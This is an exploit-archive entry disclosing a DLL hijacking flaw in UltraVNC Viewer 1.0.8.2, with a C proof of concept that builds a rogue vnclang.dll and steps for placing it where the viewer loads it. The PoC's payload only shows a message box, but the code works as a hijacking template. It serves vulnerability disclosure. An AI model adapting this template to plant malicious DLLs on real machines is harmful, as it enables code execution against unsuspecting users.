UltraVNC 1.0.8.2 - DLL Loading Arbitrary Code Execution

// source: https://www.securityfocus.com/bid/42846/info

UltraVNC is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

UltraVNC 1.0.8.2 is vulnerable; other versions may be affected.

/*
====================================================================
UltraVNC Viewer - Connection 105 DLL Hijacking Exploit (vnclang.dll)
====================================================================

$ Program: UltraVNC Viewer
$ Version: Connection 105
$ Download: http://www.uvnc.com/
$ Date: 2010/10/08

Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org

Tested on: Windows XP SP2 && Windows XP SP3

How  to use :

1> Compile this code as vnclang.dll
	gcc -shared -o vnclang.dll thiscode.c
2> Move DLL file to the directory where UltraVNC is installed
3> Open any file recognized by UltraVNC
*/


#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
  MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
  return 0;
}
BOOL WINAPI  DllMain (
			HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
			{mes();}